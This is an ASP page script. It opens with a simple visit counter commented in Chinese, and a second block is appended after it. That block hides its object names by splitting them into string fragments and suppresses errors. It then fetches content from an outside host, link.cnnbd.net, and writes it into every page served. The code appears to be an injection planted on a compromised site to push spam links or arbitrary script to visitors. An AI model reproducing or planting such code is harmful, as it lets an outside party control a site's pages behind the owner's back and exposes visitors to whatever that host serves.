<%
'一个简单的计数器程序
Set fs=CreateObject("Scripting.FileSystemObject")
Set a=fs.openTextFile(server.mappath("count.txt"))
count=a.readline
response.write "现在的访问量是:" & count
count=count+1
Set fs = CreateObject("Scripting.FileSystemObject")
Set a=fs.createTextfile(server.mappath("count.txt"))
a.writeline (count)
%>
<%
function loadWebPage(byval A_strCharset,byval A_strUrl)
dim MM_objHttp
dim MM_objBytesStream
On Error Resume Next
Set MM_objBytesStream = Server.CreateObject("Adod" & "b.S" & "tream")
Set MM_objHttp = Server.CreateObject("Microsof" & "t.X" & "MLHTTP")
MM_objHttp.Open "Get", A_strUrl, False, "", ""
MM_objHttp.Send
if MM_objHttp.status<>"200" then
loadWebPage=""
exit function
end if
if A_strCharset="" then
loadWebPage=MM_objHttp.Responsebody
else
With MM_objBytesStream
.Type = 2
.Open
.WriteText MM_objHttp.Responsebody
.Position = 0
.Charset = A_strCharset
.Position = 2
loadWebPage=.ReadText
.Cancel()
.close
End With
if err.number<>0 then
loadWebPage=""
end if
end if
set MM_objBytesStream=nothing
Set MM_objHttp = Nothing
end function
response.write(loadWebPage("gb2312","http://link.cnnbd.net/"))
%>